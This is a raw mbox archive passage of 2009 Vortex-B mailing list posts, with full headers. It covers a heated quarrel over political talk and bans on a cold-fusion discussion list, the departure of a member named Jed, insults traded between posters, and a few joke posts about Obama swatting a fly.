that, thanx. Meaning this was brought to my attention. When it comes right down to it, I don't really care too much what the petit-bourgeoisie thinx. Scurrilous lies I might respond to, however. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAko2aMsACgkQB9bXLLhitTN3TACeOfqwinsrRLaalIowzDNftddu Ad8An2mK0yBCozci6tYPIO/5ueFP4zck =vpUa -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Mon Jun 15 15:44:43 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n5FMifaD011764; Mon, 15 Jun 2009 15:44:41 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n5FMieuR011757; Mon, 15 Jun 2009 15:44:40 -0700 Resent-Date: Mon, 15 Jun 2009 15:44:40 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-YMail-OSG: knkf3gwVM1l00M.gOMQVMgeY8Rt6tMcFsn_mJ2kgT3yWv1WFJoqonHrYSwM4mE1p5sxyszmia8wsX8NT4jGRFJpDuyeurT3LPRDDYwzvxIKx1wmhlqAauHe86Em4wOlTslvORqmUWd2KwSiRvQR76tBWE9V23KcbuIRbBblV.HuQn350ZJGhXpR9sWB8DyRrehJJxCYlZuEc.go_V8ntF9hWxQl_0N5HrJlSJdiYwVkUCbQnIBhXm0Zz2TOEjIFh9C_1aL70GJ3qI7dSL5doQBbgrdtiue61Qn.kioQRTnXbwxPi5GY- X-Yahoo-Newman-Property: ymail-3 From: John Fields To: vortexb-l@eskimo.com Subject: Re: [VoB]:Denial ain't a river in Misr Date: Mon, 15 Jun 2009 17:44:33 -0500 Organization: Austin Instruments. Inc. Message-ID: <4jid35diva0np1v6hasvodrqg1m2gtkpgr@4ax.com> References: <20090615142205.GA19616@shell.resist.ca> <20090615152915.GA6819@shell.resist.ca> In-Reply-To: <20090615152915.GA6819@shell.resist.ca> X-Mailer: Forte Agent 4.2/32.1118 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4390 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 632 On Mon, 15 Jun 2009 08:29:15 -0700, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > > >> You can get all messages on the vortex archives. >>=20 >> Got Google? >>=20 >> Terry > >Yes, I know that, thanx. Meaning this was brought to my attention. >When it comes right down to it, I don't really care too much what the >petit-bourgeoisie thinx. --- Eh? Having said that, you're a liar as well as a cheat. Your raison d'=EAtre is devoted to trying to change the way the petit-bourgeoisie think and to get them to goose-step in lock-step with your politics of hate. --- >Scurrilous lies I might respond to, however. --- Perhaps by responding to some of your own posts? JF =20 From vortexb-l-request@eskimo.com Tue Jun 16 04:22:21 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n5GBMKhu015823; Tue, 16 Jun 2009 04:22:20 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n5GBMIFP015818; Tue, 16 Jun 2009 04:22:18 -0700 Resent-Date: Tue, 16 Jun 2009 04:22:18 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-POP-User: cen02900.centurytel.net Sender: jack@mail958c35.nsolutionszone.com Message-ID: <4A377DBE.1F92A9F7@centurytel.net> Date: Tue, 16 Jun 2009 11:10:54 +0000 From: "Taylor J. Smith" X-Mailer: Mozilla 3.0C-Caldera (X11; I; Linux 2.2.5-15 i486) MIME-Version: 1.0 To: vortexb-l@eskimo.com References: <8CBBB6BE3D2FEED-758-2D0B@FWM-D11.sysops.aol.com> Content-Type: text/plain; charset=us-ascii; name="jed615" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="jed615" Resent-Message-ID: <1XgfiC.A.C3D.qB4NKB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4391 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:A good bye from Jed Status: RO X-Status: X-Keywords: X-UID: 633 Jed wrote: I did not realize that people there are uninterested in the politics of cold fusion. Since that is my main area of expertise, I do not have much else to contribute, so I don't see much point to rejoining, even if he lets me. I upload announcement of new papers, but there are not many of them anymore. Most of the literature is out of reach, because of copyright restrictions. Hi All, 6-16-09 My definition: "Politics is the process of deciding who gets what." So, unless we confine our discussions on vortex to things like "special relativity" and "the reality of centrifugal force," we are almost forced to bring in the political dimension of any energy propopsal, which otherwise would make a lot less sense. Personally, I think confining grok to Vortex B was sufficient and that the ban of political discussion is problematic, although I fully agree that Bill can do as he pleases. However, complaints from participants who cannot stand the expression of views that do not agree with their own should not be given a lot of consideration. As I recall, the other Jones was banned, not because of any religious or political posting, but because some people didn't like the vigor with which he defended his scientific ideas. I join with others in urging Bill to bring Jed back. Jack Smith From vortexb-l-request@eskimo.com Tue Jun 16 13:55:42 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n5GKtdgq000958; Tue, 16 Jun 2009 13:55:39 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n5GKtcsJ000943; Tue, 16 Jun 2009 13:55:38 -0700 Resent-Date: Tue, 16 Jun 2009 13:55:38 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Tue, 16 Jun 2009 13:55:28 -0700 From: grok To: vortexb-l@eskimo.com Cc: tjs11@centurytel.net Subject: Re: [VoB]:A good bye from Jed Message-ID: <20090616205528.GA5235@shell.resist.ca> Reply-To: grok@resist.ca References: <8CBBB6BE3D2FEED-758-2D0B@FWM-D11.sysops.aol.com> <4A377DBE.1F92A9F7@centurytel.net> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <4A377DBE.1F92A9F7@centurytel.net> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: Zelda M113, DCS-4000, Ofek 7, Faber, Firewalls User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4392 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 634 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 When you cherry-pick like this -- you're being a hypocrite, plain and simple. But like I keep saying: the prospect of your little worlds soon being turned upside down, regardless and in spite of your finger-in-the-dike/re-arranging- deckchairs-on-the-Titanic efforts, makes this little ugliness somewhat worthwhile to me. FUCK you, fella. >:) And the point is very much indeed that politix simply cannot be left out of Science - -- let alone heterodox Science. Even if you think you can pick and choose just what kind of politix you want to see in it. And I'll say it again: you people started this. Not me. And it doesn't end with banning me, either. Welcome to your new Reality. - -- grok. As the smoke cleared, Taylor J. Smith mounted the barricade and roared out: > > Jed wrote: > > I did not realize that people there are uninterested in > the politics of cold fusion. Since that is my main area > of expertise, I do not have much else to contribute, so I > don't see much point to rejoining, even if he lets me. I > upload announcement of new papers, but there are not many > of them anymore. Most of the literature is out of reach, > because of copyright restrictions. > > Hi All, 6-16-09 > > My definition: "Politics is the process of deciding > who gets what." So, unless we confine our discussions > on vortex to things like "special relativity" and "the > reality of centrifugal force," we are almost forced to > bring in the political dimension of any energy propopsal, > which otherwise would make a lot less sense. > > Personally, I think confining grok to Vortex B was > sufficient and that the ban of political discussion is > problematic, although I fully agree that Bill can do as > he pleases. However, complaints from participants who > cannot stand the expression of views that do not agree > with their own should not be given a lot of consideration. > > As I recall, the other Jones was banned, not because > of any religious or political posting, but because some > people didn't like the vigor with which he defended his > scientific ideas. > > I join with others in urging Bill to bring Jed back. > > Jack Smith > > - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAko4BsAACgkQB9bXLLhitTNw7wCfX4hUVPQ4lHFFDvJqL8YRieRu 90wAoI7XcOmMB4RSvkg/RNJnpVeDcimK =ioCp -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Tue Jun 16 19:57:48 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n5H2vlHj029427; Tue, 16 Jun 2009 19:57:47 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n5H2vh6Q029396; Tue, 16 Jun 2009 19:57:43 -0700 Resent-Date: Tue, 16 Jun 2009 19:57:43 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:date:message-id:subject :from:to:content-type:content-transfer-encoding; bh=Zu23i1/zhxiAPINHAPKbps9FEadWpAkAa1DGsMuXT5A=; b=WNtHWkXm/6r+yKANrbQpZGJjZKw81y7Y5hBJjm5oiRrIt7a8nlukmaUWvIxc08jvOQ FqD9RS1hMAfF/1NWLAq7qf1/eTS4nmuto5OuTdNkRrGaagS2T4Z1Iz3RlMVYbHYOWT0f a1vvDU9wO/AytAe2bI+QdyGNhSuk2y+RBlIkg= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type :content-transfer-encoding; b=Jxjh6m38Y90wRvD7QGRlNql2uaubLosbt6KvbJyBsgX7dcpqrOcUm/2Ub3dBCgq1Vj awl4/RYcM8dgB71VCTOxOYwS10XRt3RCa8qpLMqhxPdFZJHtEbd43eH8AIpeh43uJkry IryNnKIwvbpqLNDm3k05or/TKCB7Zrpo80VIk= MIME-Version: 1.0 Date: Tue, 16 Jun 2009 21:57:43 -0500 Message-ID: From: Terry Blanton To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4393 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Obama is no Buddhist Status: RO X-Status: X-Keywords: X-UID: 635 He might be a Muslim but he is no Buddhist: http://www.cnbc.com/id/15840232/?video=1154919821&play=1 "Help me! Help me!" WHACK Terry From vortexb-l-request@eskimo.com Tue Jun 16 20:01:02 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n5H30x5h022138; Tue, 16 Jun 2009 20:00:59 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n5H30xPR022128; Tue, 16 Jun 2009 20:00:59 -0700 Resent-Date: Tue, 16 Jun 2009 20:00:59 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type :content-transfer-encoding; bh=3z6oDOdengevq5wG5KxRHFN/gxWEHV7c6cTyK7Ott5M=; b=qYUCZLTEyQKymgBCD1MSpw6w2VRCBcbCWLMb6jt71TMWapyeofH5RXnX63a+3e2bD/ WJslPeZkLg6nfYonnKx6kqi2koMCxIyJxZzzHQv8J7xv833ontRCbpWBob87iyHVSSGr EoEXIbydf8BM54cSdf4zOD5pLL4bZ5N31yJ9c= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; b=ZL5f7RVnmFPEn2+uTj6B9Lw4NtUr9WdUigrRna2A+puryIciRbTLSooLVT1U9UOra0 5WHeC9QmjW8ir8soKdzqv5mL6ahHRpAWTxrJMcwl9TD3BGq/2Z/jpJen8kkRJ+msBEmc t8TUBub72rS0cNYuES35y2nTJqdEvIZjLttkI= MIME-Version: 1.0 In-Reply-To: References: Date: Tue, 16 Jun 2009 22:00:54 -0500 Message-ID: Subject: Re: [VoB]:Obama is no Buddhist From: Terry Blanton To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4394 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 636 And Abraham Lincoln enters his 164th reincarnation. Terry On Tue, Jun 16, 2009 at 9:57 PM, Terry Blanton wrote: > He might be a Muslim but he is no Buddhist: > > http://www.cnbc.com/id/15840232/?video=3D1154919821&play=3D1 > > "Help me! =A0Help me!" =A0WHACK > > Terry > > From vortexb-l-request@eskimo.com Tue Jun 16 21:03:09 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n5H438kc004565; Tue, 16 Jun 2009 21:03:08 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n5H4376C004558; Tue, 16 Jun 2009 21:03:07 -0700 Resent-Date: Tue, 16 Jun 2009 21:03:07 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Tue, 16 Jun 2009 21:02:57 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Obama is no Buddhist Message-ID: <20090617040257.GG14685@shell.resist.ca> Reply-To: grok@resist.ca References: MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: Ahmadinejad, Internet Underground, Tariq rocket, BOSS, NTIS User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4395 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 637 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I thought it was Tallyrand. - -- grok. As the smoke cleared, Terry Blanton mounted the barricade and roared out: > And Abraham Lincoln enters his 164th reincarnation. > > Terry > > On Tue, Jun 16, 2009 at 9:57 PM, Terry Blanton wrote: > > He might be a Muslim but he is no Buddhist: > > > > http://www.cnbc.com/id/15840232/?video=1154919821&play=1 > > > > "Help me!  Help me!"  WHACK > > > > Terry > > > > > - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAko4avEACgkQB9bXLLhitTN49wCfVIyKO6lgr3CHkeTHQ/h7Anb0 QtoAniMPqWrxkQfCCDFRA0gA0K7E2Aqg =UcJL -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Wed Jun 17 05:24:56 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n5HCOpKO007793; Wed, 17 Jun 2009 05:24:51 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n5HCOoT1007770; Wed, 17 Jun 2009 05:24:50 -0700 Resent-Date: Wed, 17 Jun 2009 05:24:50 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-YMail-OSG: P2TuMHAVM1kVnJxLTjqjyiodwGMd7BmEduOSa.7efZW1NFy2j3obRGyAdGwmsXD0I_VH5bIR9cXWJ6yE1q.93dNIeGmIYnAG8qhGRzv2Z5NK5QSW_GCrFNqvvBWNsfzZ6VbB0DdWiVpsAjCmedfgICCs6U9Hvp4uE_UmVDHak.LROsLLTaillYZkG6HW7U..Xs1pIdmqOPLf9x9ZlgMITedFr0CisdZG9nXcamlAbnFKxq39Dph0vY9_TuT2WPlB993jxKNuGqTc3Vqd2lE.bUJBC9_Z5tYIxeQ1WdFaeadNHfA_GVlFttmpcA_8_zr0Z8sAmXjYnNcWm12WYj.2 X-Yahoo-Newman-Property: ymail-3 From: John Fields To: vortexb-l@eskimo.com Subject: Re: [VoB]:Denial ain't a river in Misr Date: Wed, 17 Jun 2009 07:24:41 -0500 Organization: Austin Instruments. Inc. Message-ID: <9mlg35d55da1vl4tvcl2vfp6v4j74i314i@4ax.com> References: <20090615142205.GA19616@shell.resist.ca> <20090615151000.GB19616@shell.resist.ca> In-Reply-To: <20090615151000.GB19616@shell.resist.ca> X-Mailer: Forte Agent 4.2/32.1118 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Resent-Message-ID: <3IKPYD.A.M5B.SCOOKB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4396 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 638 On Mon, 15 Jun 2009 08:10:00 -0700, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > > >As the smoke cleared, John Berry >mounted the barricade and roared out: > >> > >> > But since you're so easy to hate >> > >>=20 >> Er, grok, it's just that you find hate so easy. >> Really though hating is illogical, understandable but illogical, = things are >> the way they are for reasons. >>=20 >> More constructive than hating however is going beyond emotion and = instead >> understanding the mechanics behind things including the many things = that >> impact on psychology, most you would not guess. >>=20 >> Once you understand how things work you don't need to get all = emotional, and >> you even understand often how to put make better. > >You people will try absolutely anything. Any angle. Like I said: = pathetic. >And this is why I call you intellectually dishonest -- meaning that your= word is meaningless.=20 >Your motives: entirely suspect. > >And so: would I or anyone believe anything you had to say about science,= either?=20 --- Belief in what someone says about science isn't necessary, since experiment can always determine the validity of a statement. =46or example, if I were to tell you that sodium chloride is insoluble in water, all you'd have to do to determine whether the statement was true or not would be to try to dissolve some salt in some water. The same is true about the crap you babble and even though, time after time, what you advocate has failed miserably, you still keep whining about that all you need is one more chance to make it work if only those mean ol' capitalists would step out of the way and let you kill millions more just to prove yourself wrong. Again. --- >I think we'd need a second opinion, allright. You're a bunch of Mylows, = is what youse are. --- And, of course, the second and all the rest would have to be rubber-stamp images of yours even though they'd all be wrong. JF =20 From vortexb-l-request@eskimo.com Wed Jun 17 06:02:04 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n5HD21Do007906; Wed, 17 Jun 2009 06:02:01 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n5HD211l007899; Wed, 17 Jun 2009 06:02:01 -0700 Resent-Date: Wed, 17 Jun 2009 06:02:01 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Wed, 17 Jun 2009 06:01:48 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Denial ain't a river in Misr Message-ID: <20090617130148.GA23782@shell.resist.ca> Reply-To: grok@resist.ca References: <20090615142205.GA19616@shell.resist.ca> <20090615151000.GB19616@shell.resist.ca> <9mlg35d55da1vl4tvcl2vfp6v4j74i314i@4ax.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline Content-Transfer-Encoding: quoted-printable In-Reply-To: <9mlg35d55da1vl4tvcl2vfp6v4j74i314i@4ax.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: The Vice President, Strait of Hormuz, Alenia, superbug, platoon User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4397 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 639 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, John Fields mounted the barricade and roared out: > The same is true about the crap you babble No, moron. That's science. Which youse too will find out, soon enuff, by way of, uh, "experimentation"... - -- grok. - --=20 Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAko46TwACgkQB9bXLLhitTMQoQCeLqlyQYtsXgugptpfyYp5pzWq XJEAnR2ZzS4DnymNFAbam6KH/AHLyMta =3DHmrY -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Wed Jun 17 11:03:24 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n5HI3LUv023765; Wed, 17 Jun 2009 11:03:21 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n5HI3Kam023754; Wed, 17 Jun 2009 11:03:20 -0700 Resent-Date: Wed, 17 Jun 2009 11:03:20 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-YMail-OSG: FgrcszYVM1mnJyhmv0.IcFU1gwxdcTNAw.wfR6ydrrtnaZTYG9.YgIrHKYEVq82sB0c5DbQ_WcPuOx6KriI1aEi2rYbiU2DqKtfNpS22e02TNVDjAkmzC3hsIithn_88RXaZBXeN_gJiW80X3oIvEwRdtgOCwpamdwM2iKrvq4wCGRy9GdVjC2KjbfSPjAPfhYBSh.j8ZCTNXunPEI7X04Td6YrNQti.Wu0P1ymnaBMt1_wiHfQAaD9js_Hc7NqalBgRJyL_yP7dcYkui0xm0QjL0pD0KgpNM3oLpUnBXlmXQRgzGBsHalNXy0fBtAvz.r9O_8UMbY5Q.kXz891Q7XmXvxIJVfxGdrE- X-Yahoo-Newman-Property: ymail-3 From: John Fields To: vortexb-l@eskimo.com Subject: Re: [VoB]:Denial ain't a river in Misr Date: Wed, 17 Jun 2009 13:03:18 -0500 Organization: Austin Instruments. Inc. Message-ID: References: <20090615142205.GA19616@shell.resist.ca> <20090615151000.GB19616@shell.resist.ca> <9mlg35d55da1vl4tvcl2vfp6v4j74i314i@4ax.com> <20090617130148.GA23782@shell.resist.ca> In-Reply-To: <20090617130148.GA23782@shell.resist.ca> X-Mailer: Forte Agent 4.2/32.1118 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4398 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 640 On Wed, 17 Jun 2009 06:01:48 -0700, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > > >As the smoke cleared, John Fields >mounted the barricade and roared out: > >> The same is true about the crap you babble > >No, moron. That's science. Which youse too will find out, soon enuff, >by way of, uh, "experimentation"... --- You obviously know nothing about science, and what you mean when you refer to "experimentation" is, clearly, "extermination", just like your heroes from the past who murdered millions in cold blood. What a miserable piece of shit you are. =20 JF =20 From vortexb-l-request@eskimo.com Thu Jun 18 19:25:24 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n5J2PLjN016618; Thu, 18 Jun 2009 19:25:21 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n5J2PKi4016610; Thu, 18 Jun 2009 19:25:20 -0700 Resent-Date: Thu, 18 Jun 2009 19:25:20 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:from:date:message-id :subject:to:content-type; bh=1MXyXO6HjPnIulI0/KblGMgTTwSb6HCg+/dkAUHTowQ=; b=kxaYRKm8Zyuekyefn0M7TXOh3/FjgrRxCLxSglsSDfod5fGqxQVePut1bMxTYFGaSN N4ybBaK2RIbjIkLeelbc50QXtdLWSQOGmI1hPT+oQdGMasURoEJEkn11K5lEYA0A2dBM 9Ufhc2A8By6vZUS3G3d6zCjqeCQQV+m32W4s0= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:from:date:message-id:subject:to:content-type; b=HaJGuQejRgFvEPyYHugj/TCRZu7NWhK9bKexePCUO1n0yBRAjN8W3HE9uvdEQ6lvaY +gLmNqU86iltW9PK6lgq1ioYM2np6Np6HsnjPn2U5QoZGZT8KnpwV0GaXassI2zcHTSl hoplzKkVGOdKPRB07AuU+7eozT31R0R8bKWT0= MIME-Version: 1.0 From: John Berry Date: Fri, 19 Jun 2009 14:24:58 +1200 Message-ID: To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=000e0cd32e0a6a8da6046caa3c0e Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4399 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:I hereby resign from the human race... Status: RO X-Status: X-Keywords: X-UID: 641 --000e0cd32e0a6a8da6046caa3c0e Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Maybe I have just misplaced my funnybone. But I just read some apparent "news" and if it isn't a joke, well I resign. PETA Wishes Obama Hadn't Swatted That Fly It seems this is actually serious and not something reported by the Onion, it isn't April fools. I am lost for words. People are irredeemable crazy, the end, adios. --000e0cd32e0a6a8da6046caa3c0e Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Maybe I have just misplaced my funnybone.

But I just read some apparent "news" and if it isn't a joke, well I resign.

PETA Wishes Obama Hadn't Swatted That Fly

It seems this is actually serious and not something reported by the Onion, it isn't April fools.
I am lost for words.

People are irredeemable crazy, the end, adios.


--000e0cd32e0a6a8da6046caa3c0e-- From vortexb-l-request@eskimo.com Thu Jun 18 20:21:47 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n5J3LkuF007900; Thu, 18 Jun 2009 20:21:46 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n5J3LfDS007831; Thu, 18 Jun 2009 20:21:41 -0700 Resent-Date: Thu, 18 Jun 2009 20:21:41 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type :content-transfer-encoding; bh=lb3Rc0vCrR7Muq9uefjuDx8hxNgk2CQMGKDZkuk5+zs=; b=fEoT9UWdWTFE7WpC5M8lAwHYCwwU9TydthgLBAKWVBiPFcinBOW845nghoPjcQ0Z0W +kpMlkVWkbQ31vFMyGvtJDskTDJ7FY50ztVWjbYFgws0Vc/EV7ykZccuMtgio7Na7XRA yHDsbFyDNvC6ivD5bdJ0CM53GRKPMW/AgyvYs= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to 